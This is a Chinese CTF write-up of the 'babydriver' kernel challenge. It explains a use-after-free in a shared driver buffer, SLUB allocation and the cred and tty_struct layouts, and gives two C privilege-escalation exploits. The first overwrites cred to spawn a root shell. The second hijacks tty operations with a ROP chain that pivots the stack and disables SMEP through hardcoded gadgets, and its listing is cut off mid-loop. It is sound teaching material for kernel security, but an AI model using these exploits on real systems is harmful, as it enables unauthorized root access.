需要安装qemu,然后执行./boot.sh。
显然本题需要进行内核提权,然后获得flag。
insmod命令用于将给定的模块加载到内核中。可见内核加载了位于/lib/modules/4.4.72/目录下的babydriver.ko文件。CTF中的内核题很多都是出在加载的模块上。
/proc/modules列出了所有load进入内核的模块列表:
可以看到babydriver这个模块被加载进了kernel中,并且显示了其加载的地址。
接下来需要对babydriver.ko文件进行静态分析,首先将rootfs.cio文件系统映像解包,写一个解包的脚本:
# sudo chmod a+x dec.sh
# ./dec.sh
mkdir fs
cd fs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < rootfs.cpio
rm rootfs.cpio
babydriver_init和babydriver_exit函数进行的是参数设置之类的工作,唯一值得注意的是init中设置了/dev/babydev作为设备文件。
babyopen和babyrelease为全局变量babydev_structf分别分配内存和释放内存。
全局变量babydev_struct由一个device_buf和它的长度device_buf_len两部分组成:
babyopen函数调用kmem_cache_alloc_trace函数,分配了一个64字节大小的内存给device_buf,将长度记录在device_buf_len中:
babywrite和babyread函数的功能分别为从用户buffer读取内容至device_buf和向用户buffer写入device_buf中的内容,用户传递长度和缓冲区地址作为参数,只有device_buf_len超过了这个长度才可以进行拷贝或者输出。两者都首先进行了device_buf指针是否为空的检查,再进行后续操作。
babyioctl函数定义了一个命令,该命令执行的效果是释放现有的device_buf,按照用户传入的大小重新分配一块内存区域给device_buf,再记录长度到device_buf_len中。
在记录解题思路之前进行一些原理的说明。
kernel中没有libc,但是仍然需要内存的分配和释放,这时就会使用到kmalloc&kfree API(相当于用户态使用的malloc&free)。kmalloc&kfree的实现是通过SLAB或SLUB分配器,现在一般是SLUB分配器。分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,每个cache对应一个2的幂次大小的一组内存对象。
SLAB和SLUB都是内核的内存管理机制。为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配。但是SLAB比较严格,需要再次申请的数据类型和大小与原先的完全一样,并且不同cache的无法分在同一页内;而SLUB较为宽松,和堆分配机制更为相似。
kernel中会记录进程的权限是通过cred结构体记录的。每个进程都会分配一个cred结构体,其中保存有该进程的权限信息(uid&gid)。uid=0&gid=0说明是root权限进程。本题的利用目标就是改写进程的cred内容使其uid=0&gid=0。
stuct cred源码如下(v4.4.72):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
通过查找各种类型所占内存大小、对齐规则可知cred结构体的总大小是0xa8,一直到gid结束是28个字节。
管理机制为了提升效率一般不会把刚释放的小堆块立刻回收,而是标记为空闲,这样再次申请时大小类似的内存区域时可以迅速分配。这样如果申请一个大小合适的堆块后释放,然后又申请了一个相同大小的堆块,系统就会把之前刚释放的堆块分配给新的指针。一般程序Use After Free漏洞产生的原因在于第一个堆块被释放后,指针没有置为NULL,仍然指向原有的内存区域,这样使得堆块被使用的时候,第一个指针可以随意修改这个堆块的内容从而造成危险。
本题按常规思路来看是没有漏洞的,但是kernel中的UAF利用需要有多线程的思维。在本题中,由于babydev_struct是一个全局共享变量,因此如果打开两次设备,第二次分配的空间会覆盖第一次的,那么如果释放了第一个,第二个就相当于指向了已经被释放的空闲空间;又因为可以通过babyiotcl函数修改buffer大小,因此可以得出利用思路:
#include
#include
#include
int main(){
int fd1,fd2,id;
char cred[0xa8] = {0};
fd1 = open("dev/babydev",O_RDWR);
fd2 = open("dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0xa8);
close(fd1);
id = fork();
if(id == 0){
write(fd2,cred,28);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}
close(fd2);
return 0;
}
编译exp并将其放入解包的文件系统中
gcc exp.c -static -o ./fs/exp
重新打包kernel镜像
# sudo chmod a+x c.sh
# ./c.sh
cd fs
find . | cpio -o --format=newc > ../rootfs.img
更改boot.sh中的
-initrd rootfs.cpio
为
-initrd rootfs.img
保存并运行boot.sh
提取vmlinux
使用脚本extract-vmlinux提取出带符号的源码(脚本直接复制到linux中保存即可使用)
./extract-vmlinux ./bzImage > vmlinux
启动gdb
gdb ./vmlinux -q
导入符号表
add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
两个参数分别为babydriver.ko在解包后的文件系统中的路径以及.text段的地址。地址可以直接在qemu中查看:
增加远程调试参数后启动qemu
在boot.sh中添加如下参数:
-gdb tcp::1234
保存后执行./boot.sh
gdb连接程序
gdb中执行:
target remote 127.0.0.1:1234
接着就可以下断点,然后按c继续执行,再在qemu虚拟机中运行exp进行正常调试。
执行open(“/dev/ptmx”, O_RDWR | O_NOCTTY) 操作会打开ptmx这种tty设备,申请一块内核空间,其中放置 tty_struct 这个结构体,其内容如下:
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; // target
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
其中值得注意的是第五个成员,它的类型是名为 tty_operations 的结构体:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
其中有很多函数指针。这些指针也很容易触发,比如使用设备的 open 操作就会触发其中的int (*open)(struct tty_struct * tty, struct file * filp);函数指针,使用 ioctl 就会触发其中的int (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);函数,依次类推。
那么大致思路就有了:首先与解法一中做法相同,通过利用UAF控制一个tty_struct结构体,然后使用第二个文件描述符对其第五个成员const struct tty_operations *ops的内容进行修改,使其指向一个伪造的tty_operations类型的结构体。在这个fake_tty_ops中,把需要利用的函数指针所在位置的内容,改为需要执行的代码的地址,这样就使内核执行流发生了转向。
EXP达成的最终目标是:目标进程在内核态执行提权shellcode—— commit_creds(prepare_kernel_cred(0)) 后,返回用户态执行getshell代码system("/bin/sh")。
基于这个目标考虑几个具体的问题:
内核执行流转向何处?
由于开启了SMEP保护,进程处于内核态(ring0)的时候无法执行任何用户空间的代码,因此第一处包括之后绕过SMEP之前的跳转必须是位于内核空间的代码。
转向后第一步做什么?
为了完成绕过SMEP、执行提权shellcode、返回用户态等一系列不同的操作,必须进行ROP,然而内核态时使用的是用户无法控制的内核栈,这样跳转后执行完第一步就没法继续了,因此需要进行的第一步就是 栈迁移,具体来说就是跳转到一个内核gadget,这个gadget执行后,栈指针rsp落入用户可知并可控的用户空间,在这个空间中存放ROP链,从而完成一系列操作。
如何进行栈迁移?
可以利用 xchg eax,esp;ret 这条gadget。这条指令执行的效果是:rax和rsp寄存器的低32位内容互换,而高32位全部清零。在 ioctl 、write 等函数中触发执行流转向的语句是 call rax,也就是说rax中保存了fake_tty_ops中目标成员的内容,即执行流第一步转向的地址。如果是64位全部交换那么rsp肯定是内核地址,但是只交换低32位而高位清零后,rsp就指向了用户空间。而这个用户空间地址是已知的,也就是xchg eax,esp;ret实际地址取低32位后的值。那么就可以使用mmap在这个地址附近申请内存块放置ROP链。
如何绕过SMEP?
SMEP是否开启完全由CR4寄存器的第20位是1还是0决定。使用 mov cr4,rdi;ret 这样的gadget就可以修改CR4的值关闭SMEP。
如何获得commit_creds和prepare_kernel_cred这两个内核函数的地址?
本题没有开启kASLR,所有的内核地址都是固定的,可以在EXP中直接写死。这两个函数地址使用 cat /proc/kallsyms | grep commit_creds 命令就可以查看,但是这个命令需要管理员身份才能执行。查看init启动脚本,发现/proc/kallsyms文件被拷贝到了/tmp/kallsyms路径下,因此查看/tmp/kallsyms即可。获取地址后就可以在EXP中定义对应的函数指针类型,把各自的地址赋给对应类型的函数指针,然后编写一个用户空间的函数,获取其地址shellcode_addr放入ROP链中。
执行完提权shellcode后,如何返回用户空间?
需要两个特殊gadget。
其中的CS、EFLAGS和SS都可以在EXP运行一开始保存。RIP就是iretq的地址,RSP是用户栈顶指针,这里选择一块可用的用户区域即可(之前的假栈空间)。
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define COMMAND 0x10001
#define ALLOC_NUM 50
struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */
/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;
unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long swapgs = 0xFFFFFFFF81063694;
void get_root_payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
void get_shell()
{
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
struct tty_operations fake_ops;
char fake_procfops[1024];
unsigned long user_cs, user_ss, user_rflags;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}
void set_affinity(int which_cpu)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(which_cpu, &cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0)
{
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
}
int main()
{
int fd = 0;
int fd1 = 0;
int cmd;
int arg = 0;
char Buf[4096];
int result;
int j;
struct tty_struct *tty;
int m_fd[ALLOC_NUM],s_fd[ALLOC_NUM];
int i,len;
unsigned long lower_addr;
unsigned long base;
char buff2[0x300];
printf("[+]Save state...\n");
save_state();
printf("[+]save_state done\n");
printf("[+]Set affinity...\n");
set_affinity(0);
printf("[+]set_affinity done\n");
printf("[+]Prepare fake_ops and fake_procfops...\n");
memset(&fake_ops, 0, sizeof(fake_ops));
memset(fake_procfops, 0, sizeof(fake_procfops));
fake_ops.proc_fops = &fake_procfops;
fake_ops.ioctl = xchgeaxesp;
printf("[+]fake_tty_ops & fake_procfops prepare done\n");
printf("[+]addr of fake_ops: %p\n",&fake_ops);
printf("[+]addr of fake_procfops: %p\n",fake_procfops);
//open two babydev
printf("[+]Open two babydev...\n");
fd = open("/dev/babydev",O_RDWR);
fd1 = open("/dev/babydev",O_RDWR);
printf("[+]babyopen twice done\n");
//init babydev_struct
printf("[+]Init buffer for tty_struct(size:%d)...\n",sizeof(tty));
ioctl(fd,COMMAND,0x2e0);
ioctl(fd1,COMMAND,0x2e0);
printf("[+]babyioctl twice done\n");
//race condition
printf("[+]Free buffer 1st...\n");
close(fd);
printf("[+]free fd done\n");
printf("[+]Try to occupy tty_struct...\n");
for(i=0;i